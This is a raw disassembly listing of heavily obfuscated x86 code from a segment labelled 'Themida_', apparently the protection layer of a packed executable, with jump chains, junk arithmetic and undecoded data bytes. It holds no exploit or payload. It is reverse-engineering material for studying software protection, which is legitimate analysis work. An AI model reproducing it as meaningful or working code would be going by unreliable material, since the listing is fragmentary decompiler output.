		push	32F5h
		mov	[esp], ebx
		not	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		jmp	loc_555FE4
; ---------------------------------------------------------------------------


loc_555488:				; CODE XREF: Themida_:0055FBBEj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_556F7B
; ---------------------------------------------------------------------------
		dd 6624248Bh, 9C2404D3h, 0FFF425E9h, 0D30166FFh, 0EEC38166h
		dd 665A667Dh, 8166C301h, 567EF8EBh, 64BEBE66h, 291868h
		dd 240C8900h, 5940B966h, 6CBEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5554D1:				; CODE XREF: Themida_:00555BC0j
		pop	eax
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	edx
		push	esi
		push	edx
		push	6C3F1FF3h
		mov	edx, [esp]
		push	edi
		push	esp
		pop	edi
		push	edx
		jmp	loc_55E79F
; ---------------------------------------------------------------------------
		dd 4EC81h, 24890000h, 4BA5224h,	1000000h, 0E9042454h, 267Dh
		dd 6055A4BAh, 59CA3163h, 4245401h, 1C8EE9h
		db 0
; ---------------------------------------------------------------------------


loc_555525:				; CODE XREF: Themida_:005601EFj
		pop	esi
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_559284
; ---------------------------------------------------------------------------
		dw 3489h
		dd 74C7BE24h, 8DE90E28h
		db 0A1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_555547:				; CODE XREF: Themida_:0055B0CCj
		mov	edx, ecx
		pop	ecx
		add	edi, 5CE21FB6h
		sub	edi, edx
		sub	edi, 5CE21FB6h
		pop	edx
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0BF66295h
		push	eax
		mov	eax, 0FFFFFFFFh
		add	edx, 35543DD6h
		add	edx, eax
		sub	edx, 35543DD6h
		pop	eax
		jmp	loc_55E1A4
; ---------------------------------------------------------------------------
		dw 0F488h
aIxxsct		db 'ˆåXéæ’',0
		align 10h
		dd 0C781E789h, 4, 8704EF83h, 248B243Ch,	243C8924h, 0A857E9h
		dd 72C18100h, 8B15177Dh, 8951241Ch, 4C181E1h, 83000000h
		dd 0EEE904C1h, 590000A4h, 0A7BDE9h, 4C48100h, 81000000h
		dd 4EBh, 517EE900h, 0E2810000h,	57FA2E98h, 9F72E9h, 0E95A6600h
		dd 8583h, 1E25BF57h, 0D368048Bh, 0E900004Fh, 0B096h
; ---------------------------------------------------------------------------


loc_55560C:				; CODE XREF: Themida_:0055F9B9j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_558720
; ---------------------------------------------------------------------------


loc_555623:				; CODE XREF: Themida_:0055D58Ej
		sub	esp, 4
		jmp	loc_55CECD
; ---------------------------------------------------------------------------
		db 50h
		dd 0F29CE99Ch, 0BA52FFFFh, 77B41371h, 288FB850h, 0C2213614h
		dd 2CC28158h, 0E917CB0Fh, 7790h
; ---------------------------------------------------------------------------


loc_55564C:				; CODE XREF: Themida_:0055E89Cj
		shl	ecx, 7
		xor	ecx, 0FFFEFB84h
		add	ebp, ecx
		jmp	loc_560804
; ---------------------------------------------------------------------------
		dd 0C281E289h, 4, 4BE56h, 0F2290000h, 0F2D9E95Eh, 0EF81FFFFh
		dd 6D6677EDh, 8FC4E9h, 24248900h, 19DEE9h, 0E7814F00h
		dd 2A7D3217h, 1A12E94Fh, 0E95A0000h, 0B2FEh, 0C681E689h
		dd 4, 8704EE83h, 72E92434h, 88000003h, 8BE588D4h, 0C4832404h
		dd 5BB9E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5556BA:				; CODE XREF: Themida_:0055BA9Bj
		add	ebp, 4
		jmp	loc_5593F7
; ---------------------------------------------------------------------------


loc_5556C5:				; CODE XREF: Themida_:00558690j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp


loc_5556CE:				; CODE XREF: Themida_:00556218j
					; Themida_:0055D680j
		mov	ebx, [esp]
		push	60B4h
		mov	[esp], esi
		mov	esi, esp
		push	edx
		mov	edx, 581C23C6h
		add	edx, 0A7E3DC3Eh
		jmp	loc_55811D
; ---------------------------------------------------------------------------
		dd 4C2815Ah, 81000000h,	4EAh, 24148700h, 8924248Bh, 0C2892414h
		dd 34FF5B52h, 0E9535A24h, 3B36h
; ---------------------------------------------------------------------------


loc_555710:				; CODE XREF: Themida_:0055B64Cj
		pop	esp
		push	7436h
		mov	[esp], eax
		push	esi
		push	ebp
		jmp	loc_557D65
; ---------------------------------------------------------------------------
		dd 240C335Bh, 33240C31h, 248B240Ch, 2434FF24h, 6232E9h
		dd 0B60F6600h, 9C5166C8h, 246CE9h
		db 0
; ---------------------------------------------------------------------------


loc_555741:				; CODE XREF: Themida_:005609DBj
		push	eax
		xchg	ebp, [esp]
		push	8Ah
		mov	[esp], ebp
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		not	ebx
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_555FBB
; ---------------------------------------------------------------------------


loc_555774:				; CODE XREF: Themida_:0055A8CFj
		sub	ebx, 0D2EF15B1h
		sub	eax, ebx
		pop	ebx
		add	ebx, eax
		pop	eax
		add	ebx, edi
		sub	ebx, 454C24B7h
		jmp	loc_556CCE
; ---------------------------------------------------------------------------
		db 0F7h, 0D0h, 0C1h
		dd 9C0D07E8h, 0C10D940Ch, 2F6803E0h, 89000045h,	0F2BB241Ch
		dd 0E96FF7F4h, 7168h, 5C243C87h, 5C24048Fh, 52240C8Bh
		dd 0E904EC83h, 0FFFFFEBDh, 24786858h, 0C890000h, 81E18924h
		dd 4C1h, 4C18300h, 5C240C87h, 34FF5450h
		db 24h,	58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55B42E
; ---------------------------------------------------------------------------
		dd 47F3E952h, 48B0000h,	4C48324h, 7147E9h, 0F0CCE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555802:				; CODE XREF: Themida_:005576C0j
		neg	ecx
		dec	ecx
		shl	ecx, 8
		or	ecx, 6CA1486Bh
		add	ecx, 0FC42C0C5h
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5565F3
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C1h
		dd 4, 12BA6850h, 2C890000h, 6DD2BD24h, 5AE938E1h, 5E00002Eh
		dd 2474FF53h, 48F5B04h,	29E95C24h, 0BE00009Bh, 9EDF2510h
		dd 0FFF33BE9h, 4EC81FFh, 89000000h, 16E92424h
		db 8Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555863:				; CODE XREF: Themida_:0055ACB6j
		add	eax, 0FECF3B12h
		mov	ecx, eax
		pop	eax
		sub	ecx, 4A556A15h
		sub	esi, 4FF90EC1h
		sub	esi, 27D4801h
		jmp	loc_55B6D0
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 83512404h, 248904ECh, 24048324h, 0C1815904h,	4, 8081E9h
		db 0
; ---------------------------------------------------------------------------


loc_55589D:				; CODE XREF: Themida_:00555C39j
		xchg	eax, ebp
		push	esi
		jmp	loc_55B936
; ---------------------------------------------------------------------------
		dd 4C481h, 0B9510000h, 790D5878h, 477BF181h, 0C8291EE6h
		dd 53C80159h, 0EB1F03BBh, 5BD80167h, 47A82D59h,	0BC2D6BD1h
		dd 2D7FEE26h, 3A2C5906h, 82E9D829h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5558DB:				; CODE XREF: Themida_:0055A07Dj
		mov	[esp], edi
		pop	ebp
		pop	edi
		xor	ebp, 2A6234C8h
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_55830A
; ---------------------------------------------------------------------------


loc_5558F0:				; CODE XREF: Themida_:0055CFB8j
		sub	esi, 60070082h
		mov	edx, esi
		pop	esi
		jmp	loc_55699A
; ---------------------------------------------------------------------------
aBWfpsz		db 'ÊÄwFpé‡`',0
		db 0
; ---------------------------------------------------------------------------


loc_555909:				; CODE XREF: Themida_:00560C4Bj
		xor	esi, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_55A2E8
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aSru		db '$éu',0
		align 2
		dw 0D301h
aZscn		db 'Zé—n',0
		align 2
		dw 0ECB8h
		dd 101F020h, 0E95F58C3h, 26EDh,	0C181E189h, 4, 41A3E952h
		dd 81590000h, 4C4h, 4B85000h, 1000000h,	24048BC7h, 39B2E9h
		dd 0E1895100h, 4C181h, 0C1810000h, 4, 0E9240C87h, 630Ch
; ---------------------------------------------------------------------------


loc_555970:				; CODE XREF: Themida_:00559225j
		mov	[esp], ebx
		push	esi
		mov	esi, 4504200h
		shr	esi, 8
		and	esi, 2BB21140h
		shl	esi, 3
		push	ecx
		mov	ecx, 3B991D47h
		sub	ecx, 58F965B3h
		and	ecx, 28391CA3h
		xor	ecx, 2019957Ch
		sub	esi, ecx
		pop	ecx
		mov	ebx, esi
		pop	esi
		add	ecx, ebx
		jmp	loc_55E3DB
; ---------------------------------------------------------------------------
		dw 0C33h
aStsx		db '$\STéx"',0
		dd 0EF814700h, 4D6C0A6Fh, 0D153C781h, 0F929167Fh, 52F1015Fh
		dd 693A3CBAh, 5AD10100h, 240C875Eh, 772BE95Ch, 4C010000h
		dd 59590424h, 4BB53h, 0E9810000h, 496323D8h, 0BF57D901h
		dd 496323D8h, 0DC1E9h, 0EC835200h, 0A4E95404h, 1000034h
		dd 0C6835AD6h, 24348702h, 6624248Bh, 68240C8Bh,	3B3Dh
		dd 972DE9h, 24895C00h, 82685124h, 8B0E866Ch, 48E9240Ch
		dd 660000A5h, 8124048Bh, 4ECh, 242C8900h, 68575D54h, 46F27F54h
		dd 2E7C15Fh, 84E9D7F7h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555A4F:				; CODE XREF: Themida_:0055A55Ej
		add	dword ptr [esp+4], 731B088Fh
		push	eax
		mov	eax, 71154FAAh
		sub	[esp+8], eax
		pop	eax
		sub	[esp+4], edx
		add	dword ptr [esp+4], 71154FAAh
		push	edx
		mov	edx, 731B088Fh
		jmp	loc_558235
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aWt_szt		db '$WT_éZT',0
		dd 2434FF00h, 0FF2434FFh, 48B2434h, 4C48324h, 0E904C483h
		dd 155Dh, 5BE9524Dh
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555AA3:				; CODE XREF: Themida_:0055EC4Cj
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		xor	edx, edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, ebx
		jmp	loc_556BA8
; ---------------------------------------------------------------------------
		dd 83241C8Bh
		db 0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	53DDh
		jmp	loc_55BC6A
; ---------------------------------------------------------------------------
		db 81h
		dd 40220F3h, 0E9D80140h, 2E13h,	24048B66h, 7B8068h, 241C8900h
		dd 8904EC83h, 0EC812424h, 4, 0E9243489h, 5615h,	64AFC681h
		dd 515A77E1h, 468h, 0AF73E900h,	0CD800000h, 0DCB75316h
		dd 0EF80DFF6h, 0C2EF800Fh, 0EF80CFFEh, 1C78078h, 885BFD30h
		dd 2434FFEFh, 0E2895259h, 4C281h, 0C2810000h, 4, 0E9241487h
		dd 830h, 0F658C508h, 6EDC0DDh, 919BE9h,	0E9D7F700h, 0A327h
		dd 5C836866h, 24048966h, 0FFED41E9h, 0EC81ACFFh, 4, 68241C89h
		dd 6254h, 0FFF85EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555BA1:				; CODE XREF: Themida_:0055BC8Fj
		push	6239h
		mov	[esp], eax
		mov	eax, 10000h
		jmp	loc_555CA0
; ---------------------------------------------------------------------------
		db 0BFh
		dd 7B052542h, 86F8E9h
		db 0
; ---------------------------------------------------------------------------


loc_555BBD:				; CODE XREF: Themida_:0055E658j
		push	dword ptr [esp]
		jmp	loc_5554D1
; ---------------------------------------------------------------------------


loc_555BC5:				; CODE XREF: Themida_:00555CADj
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5587D4
; ---------------------------------------------------------------------------
		db 0BAh, 2Ah, 3Dh
		dd 7E95826h, 89FFFFFAh,	0B8BE2434h, 9213513h, 0E9435EF3h
		dd 8458h
; ---------------------------------------------------------------------------


loc_555BF4:				; CODE XREF: Themida_:0055AFC1j
		push	edi
		push	75B33F17h
		pop	edi
		jmp	loc_55CA51
; ---------------------------------------------------------------------------


loc_555C00:				; CODE XREF: Themida_:00557D74j
		mov	ebp, [esp]
		jmp	loc_55D78B
; ---------------------------------------------------------------------------


loc_555C08:				; CODE XREF: Themida_:00559C49j
		mov	[esp], ecx
		jmp	loc_55FA1A
; ---------------------------------------------------------------------------


loc_555C10:				; CODE XREF: Themida_:0055CDF5j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_555C5F
; ---------------------------------------------------------------------------


loc_555C32:				; CODE XREF: Themida_:0055CC1Dj
		neg	ebp
		neg	ebp
		xchg	eax, ebp
		not	eax
		jmp	loc_55589D
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 2F0A1398h, 0EE81FE01h, 2F0A1398h, 2370E9h
		db 0
; ---------------------------------------------------------------------------


loc_555C51:				; CODE XREF: Themida_:0055EF0Cj
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55D62E
; ---------------------------------------------------------------------------


loc_555C5F:				; CODE XREF: Themida_:00555C2Dj
		mov	edi, 5B8A3D57h
		jmp	loc_55BE11
; ---------------------------------------------------------------------------


loc_555C69:				; CODE XREF: Themida_:00556A8Bj
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		jmp	loc_557964
; ---------------------------------------------------------------------------


loc_555C75:				; CODE XREF: Themida_:00557321j
		add	edx, ecx
		pop	ecx
		add	edx, 4
		jmp	loc_55994D
; ---------------------------------------------------------------------------
		db 5
a11Sj		db '{1(',9,')Ø-{1(',9,'éJ"',0
		align 4
		dd 5EF2015Ah, 0E902C283h, 86Dh
; ---------------------------------------------------------------------------


loc_555CA0:				; CODE XREF: Themida_:00555BAEj
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_555BC5
; ---------------------------------------------------------------------------


loc_555CB2:				; CODE XREF: Themida_:0055ABF6j
		shl	ecx, 6
		push	ebx
		mov	ebx, 44637D1h
		xor	ebx, 26A92C04h
		xor	ecx, ebx
		pop	ebx
		shl	ecx, 4
		jmp	loc_556456
; ---------------------------------------------------------------------------
		dd 2BDh, 48C28100h, 1717620h, 48EA81EAh, 5D717620h, 1AA1E9h
		dd 4EC8100h, 89000000h,	6CE9241Ch, 5D000092h, 0FFF1B4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555CF9:				; CODE XREF: Themida_:0055DDEBj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_55B756
; ---------------------------------------------------------------------------


loc_555D0F:				; CODE XREF: Themida_:0055C9D3j
		push	ebx
		push	ebp
		jmp	loc_557B2E
; ---------------------------------------------------------------------------
aZSui		db '‡×éUˆ',0
		dd 6E7C100h, 9A1E9h, 57BF5700h,	0E9375573h, 0FFFFFC85h
; ---------------------------------------------------------------------------


loc_555D30:				; CODE XREF: Themida_:00560A08j
		xor	eax, 7E4380Eh
		and	edx, eax
		pop	eax
		shr	edx, 6
		push	ebp
		mov	ebp, 275A70DAh
		shr	ebp, 1
		and	ebp, 46DF52EAh
		add	ebp, 0FE73C031h
		sub	edx, ebp
		jmp	loc_558448
; ---------------------------------------------------------------------------


loc_555D56:				; CODE XREF: Themida_:00557A5Aj
		add	edx, eax
		sub	edx, 54C50D30h
		mov	ecx, [edx]
		mov	edx, [esp]
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_5605BA
; ---------------------------------------------------------------------------


loc_555D6E:				; CODE XREF: Themida_:00556995j
		mov	[esp], edx
		jmp	loc_55E86E
; ---------------------------------------------------------------------------
		dd offset dword_54BD44+724h
		dw 8900h
		dd 6DE92414h, 0C0000021h, 0CEFE06EEh, 80D2E680h, 0F68029EEh
		dd 66F520F4h, 8124148Bh, 2C4h, 436CE900h, 2C890000h, 2414F724h
		dd 476FE9h, 0E95D5400h,	4EE1h, 83D831ADh, 3C8904ECh, 4264BF24h
		dd 50E905CDh, 1000011h,	0EC835FFBh, 24048904h, 2B8h, 95EB8100h
		dd 0E93D1B6Dh, 1712h, 35E9D5F7h, 8B000038h, 89532414h
		dd 4C381E3h, 83000000h,	7EE904C3h, 8F000031h, 4812404h
		dd 424h, 52515F00h, 0E5E3CBAh, 640AE922h, 0EC810000h, 4
		dd 0BE243489h, 53B874ACh, 161E9h, 0E2895200h, 4C281h, 0EA810000h
		dd 4, 5C241487h, 8DB9E9h, 82BF5700h, 1666874h, 2DE95FF8h
		dd 8F00009Ah, 2E92404h,	800000A6h, 0F8285AF7h, 240C8B5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55A6A3
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFEA56h, 521671B8h, 18EDE946h, 0E9570000h, 3FB5h
		dd 0EF31FD31h, 0E908E7C1h, 0FA3h, 0ED0116BEh, 0E9F02958h
		dd 45A1h, 240C8B66h, 348B5456h,	3470E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555EAE:				; CODE XREF: Themida_:005592A1j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55EC42
; ---------------------------------------------------------------------------
		db 68h
		dd 6025h, 0B1240C89h, 8BC828F8h, 0C483240Ch, 58C10804h
		dd 0E905E9C0h, 0A81Ch, 66F1F766h, 0E94DF668h, 0A18h, 68241C89h
		dd 3946h, 24048F54h, 62F5E9h
		db 0
; ---------------------------------------------------------------------------


loc_555EFD:				; CODE XREF: Themida_:0055750Cj
		add	ebx, 4
		jmp	loc_55868F
; ---------------------------------------------------------------------------


loc_555F05:				; CODE XREF: Themida_:0055A92Dj
		mov	ebp, 39F7090Fh
		mov	eax, ebp
		pop	ebp
		sub	eax, 0CF89BBE6h
		jmp	loc_55621D
; ---------------------------------------------------------------------------
aIPg@lS		db '‰,$G@‹,$éº(',0
		dd 0EBCC8000h, 28F9C480h, 0B60F58E3h, 946866C0h, 0A504E907h
		dd 8A680000h, 89000049h, 2B682414h, 89000016h, 4812424h
		dd 424h, 0C2815A00h, 4,	5FE768h, 240C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55CAE6
; ---------------------------------------------------------------------------
aGssw		db 'Gé™w',0
		align 2


loc_555F6E:				; CODE XREF: Themida_:00558163j
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		and	eax, ebp
		pop	ebp
		jmp	loc_5604A1
; ---------------------------------------------------------------------------
aPqsk		db 'PQék+',0
		dd 4055800h, 83000000h,	14E904C0h, 53000035h, 545AD2BBh
		dd 0B2EB813Ch, 29AC4C08h, 0CE895BD9h, 8453E9h
		db 0
; ---------------------------------------------------------------------------


loc_555FB1:				; CODE XREF: Themida_:0055601Dj
		add	esi, ecx
		pop	ecx
		not	esi
		jmp	loc_55C24B
; ---------------------------------------------------------------------------


loc_555FBB:				; CODE XREF: Themida_:0055576Fj
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	8AAh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55DD0A
; ---------------------------------------------------------------------------


loc_555FE4:				; CODE XREF: Themida_:00555483j
		push	54EEh
		mov	[esp], esi
		push	eax
		push	0B604E97h
		pop	eax
		inc	eax
		push	eax
		push	edi
		pop	eax
		pop	edi
		jmp	loc_55DF50
; ---------------------------------------------------------------------------
		db 4Dh,	57h, 0BFh
		dd 566B24AFh, 815FFD31h, 8946CFE5h, 2EF58135h, 0E901AF49h
		dd 7E2Eh
; ---------------------------------------------------------------------------


loc_556018:				; CODE XREF: Themida_:00558EE7j
		mov	ecx, 6B483EDCh
		jmp	loc_555FB1
; ---------------------------------------------------------------------------


loc_556022:				; CODE XREF: Themida_:00559F06j
		or	ecx, 5FBF7324h
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		sub	ecx, 885Ch
		push	ebx
		mov	ebx, 0AB91C6Fh
		add	ebx, 35051C7Ah
		add	eax, ebx
		pop	ebx
		sub	eax, ecx
		sub	eax, 3FBE38E9h
		pop	ecx
		jmp	loc_55A634
; ---------------------------------------------------------------------------
		db 81h
		dd 0CC386EC1h, 0C875A0Bh, 24248B24h, 9FD8E9h, 0B850AD00h
		dd 42A82855h, 5C3C681h,	0EE811BADh, 0AA221Bh, 65ABE9h
		dd 1EF18100h, 815FBE22h, 941141C1h, 13E9817Ah, 81579B9Ch
		dd 1124AEFh, 81CF0177h,	1124AC7h, 19685977h, 0E900006Eh
		dd 8A07h, 42474FFh, 3804E9h, 54F28100h,	29354051h, 24148BD7h
		dd 104C483h, 68525FF8h,	0CDEh, 68241C89h, 5DCA0B1Ch, 0FBB9515Bh
		dd 81162C22h, 4F563BF1h, 0F1814900h, 23977002h,	0C181D1F7h
		dd 2874255Eh, 95BFE9h, 4C48100h, 0E9000000h, 1665h, 0F5C2FEB9h
		dd 8BC101B2h, 0C4812404h, 4, 806BE9h, 9CC88400h, 312CE9h
		dd 4C48300h, 6301E9h, 241C8900h, 2C68h,	2434FF00h, 4C4835Bh
		dd 5552FB01h, 3F003E68h, 0E1E95D2Ch, 51000029h,	0A85AC868h
		dd 0E1D15908h, 32DBE9h,	58D5BE00h, 0BD551BE6h, 0ABB2970h
		dd 895DEE29h, 0DF315EF7h, 20CF815Bh, 8300821Ah,	0C783FFC7h
		dd 1D99E901h, 0E5C10000h, 4F58108h, 0E9BF1ED6h,	0A78Dh
		dd 404C483h, 2CF00091h,	8B665A91h, 0C483240Ch, 0FEB05002h
		dd 8E05E952h, 875F0000h, 895C2404h, 0A1E9240Ch,	8800002Ah
		dd 9B58E9DEh, 0E2810000h, 4610F01h, 89EA8142h, 1FEC3ECh
		dd 1E8BE9D1h, 0FF550000h, 525D2404h, 9D66E9h, 13BF5700h
		dd 93E5810h, 10C8E9FEh,	74FF0000h, 8F5A0424h, 7EE92404h
		dd 6800005Bh, 69D5h, 0B9240C89h, 20F0140Fh, 242C8B51h
		dd 4C481h, 0E5E90000h
		db 0A8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5561FF:				; CODE XREF: Themida_:0055704Dj
		add	edi, eax
		pop	eax
		push	edx
		mov	edx, 5FD54F0Eh
		push	edi
		jmp	loc_55FA93
; ---------------------------------------------------------------------------


loc_55620E:				; CODE XREF: Themida_:0055C061j
		pop	dword ptr [edi+20h]
		add	dword ptr [edi+20h], 4B956385h
		jmp	loc_5556CE
; ---------------------------------------------------------------------------


loc_55621D:				; CODE XREF: Themida_:00555F12j
		mov	ecx, eax
		mov	eax, [esp]
		jmp	loc_55C37E
; ---------------------------------------------------------------------------
		db 54h
		dd 81243C8Bh, 4C4h, 4EC8300h, 0E9242C89h, 92A2h, 411568h
		dd 1D2AE900h, 0DA870000h, 2414F753h, 55DA875Bh,	0DA7E90BDh
		dd 0D2ED8153h, 0F7257A4Ch, 1C581D5h, 81000000h,	0CEFB2EF5h
		dd 5DEA31F0h, 0E903EAC1h, 0FFFFFE39h, 0E930FF66h, 0FFFFE652h
; ---------------------------------------------------------------------------


loc_55627C:				; CODE XREF: Themida_:0055B391j
		push	eax
		jmp	loc_55BC72
; ---------------------------------------------------------------------------
		dw 0E781h
		dd 7EFD4D68h, 0D3F7DF87h, 0EF81DF87h, 66E607E4h, 0F7F7F781h
		dd 0FA019230h, 8D27E9h,	88CDB500h, 0C18859E8h, 5C2C58h
		dd 0E95C04C8h, 4FDBh
; ---------------------------------------------------------------------------


loc_5562B4:				; CODE XREF: Themida_:0055A899j
		push	6F4D1E78h
		mov	esi, [esp]
		jmp	loc_55F7B2
; ---------------------------------------------------------------------------
		db 0BBh, 9Ch, 6Bh
		dd 0CB8169D7h, 3B1040EBh, 7749E381h, 0E3814F9Eh, 7B7D68E6h
		dd 39BEE9h, 130400h, 6737E9F8h,	14F70000h, 9DE95E24h, 0E9000062h
		dd 0FFFFE5DAh, 4FD3E959h, 665C0000h, 0E924048Bh, 0A728h
		dd 835AD301h, 1C8704EBh, 34895C24h, 1981E924h, 0C2830000h
		dd 24143302h, 33241431h, 0B5E92414h
		db 90h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556327:				; CODE XREF: Themida_:00560805j
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		shl	eax, cl
		jmp	loc_55B02A
; ---------------------------------------------------------------------------
		db 87h
		dd 895C2414h, 94B82404h, 2D41B73Dh, 41B73D92h, 830CE9h
		db 0
; ---------------------------------------------------------------------------


loc_556351:				; CODE XREF: Themida_:0055CB0Aj
		mov	ecx, edi
		pop	edi
		pop	edx
		add	edx, ecx
		pop	ecx
		xor	edx, [esp]
		jmp	loc_55711B
; ---------------------------------------------------------------------------


loc_556360:				; CODE XREF: Themida_:0055E25Ej
		sub	ebx, 792741F5h
		jmp	loc_55F82A
; ---------------------------------------------------------------------------
		db 0BBh
		dd 3FCA0E32h, 92DE381h,	0E3C1194Ah, 27F38105h, 8160AE35h
		dd 0B71874E3h, 0EBE38146h, 81492444h, 24001CEBh, 5BDA0140h
		dd 0E9241487h, 4178h, 0FFEF805Ch, 0E902EC83h, 0FFFFE656h
; ---------------------------------------------------------------------------


loc_5563A8:				; CODE XREF: Themida_:005571D3j
		mov	[esp], ecx
		push	edx
		push	7C6F3490h
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_55D6D6
; ---------------------------------------------------------------------------


loc_5563D4:				; CODE XREF: Themida_:00559642j
		pop	ebx
		pop	esi
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	eax
		jmp	loc_55718D
; ---------------------------------------------------------------------------
		dw 0F030h
		dd 0F9E9565Ah, 6800007Eh, 3152h, 51243489h, 6DA7BD55h
		dd 7CB90A85h, 293E02B4h, 242C8BE9h, 4C481h, 57530000h
		dd 0FFE8A8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556411:				; CODE XREF: Themida_:0055AF4Dj
		mov	eax, 50D74069h
		sub	[esp+4], eax
		pop	eax
		pop	eax
		add	eax, 50D74069h
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55B04B
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 80C30002h, 0C38002C3h, 0C0B60FF9h, 0E987048Fh, 0FFFFE48Eh
; ---------------------------------------------------------------------------


loc_556440:				; CODE XREF: Themida_:00556B76j
		mov	ecx, 30D267DEh
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	[esp+4], ebp
		jmp	loc_55C97A
; ---------------------------------------------------------------------------


loc_556456:				; CODE XREF: Themida_:00555CC7j
		push	esi
		mov	esi, 71B646FFh
		shl	esi, 1
		push	eax
		jmp	loc_55E891
; ---------------------------------------------------------------------------


loc_556464:				; CODE XREF: Themida_:00556C05j
		push	edx
		push	4520h
		mov	[esp], esp
		jmp	loc_557E32
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8956241Ch, 4B850E6h,	1000000h, 0B00E9C6h, 0DF010000h
		dd 4D2CE9h, 4C58300h, 5C242C87h, 81595451h, 4C1h, 4B85000h
		dd 1000000h, 0FF5158C1h, 59042474h, 8B24048Fh, 17E92424h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5564B7:				; CODE XREF: Themida_:0055FA6Ej
		pop	esp
		mov	[edi+24h], ebx
		jmp	loc_55EC48
; ---------------------------------------------------------------------------
aQsdj		db 'Qéd¦',0
		align 2
		dw 0C89h
		dd 2F02B924h, 0D2E9056Eh
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5564D3:				; CODE XREF: Themida_:0055E7A7j
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_55BCC7
; ---------------------------------------------------------------------------


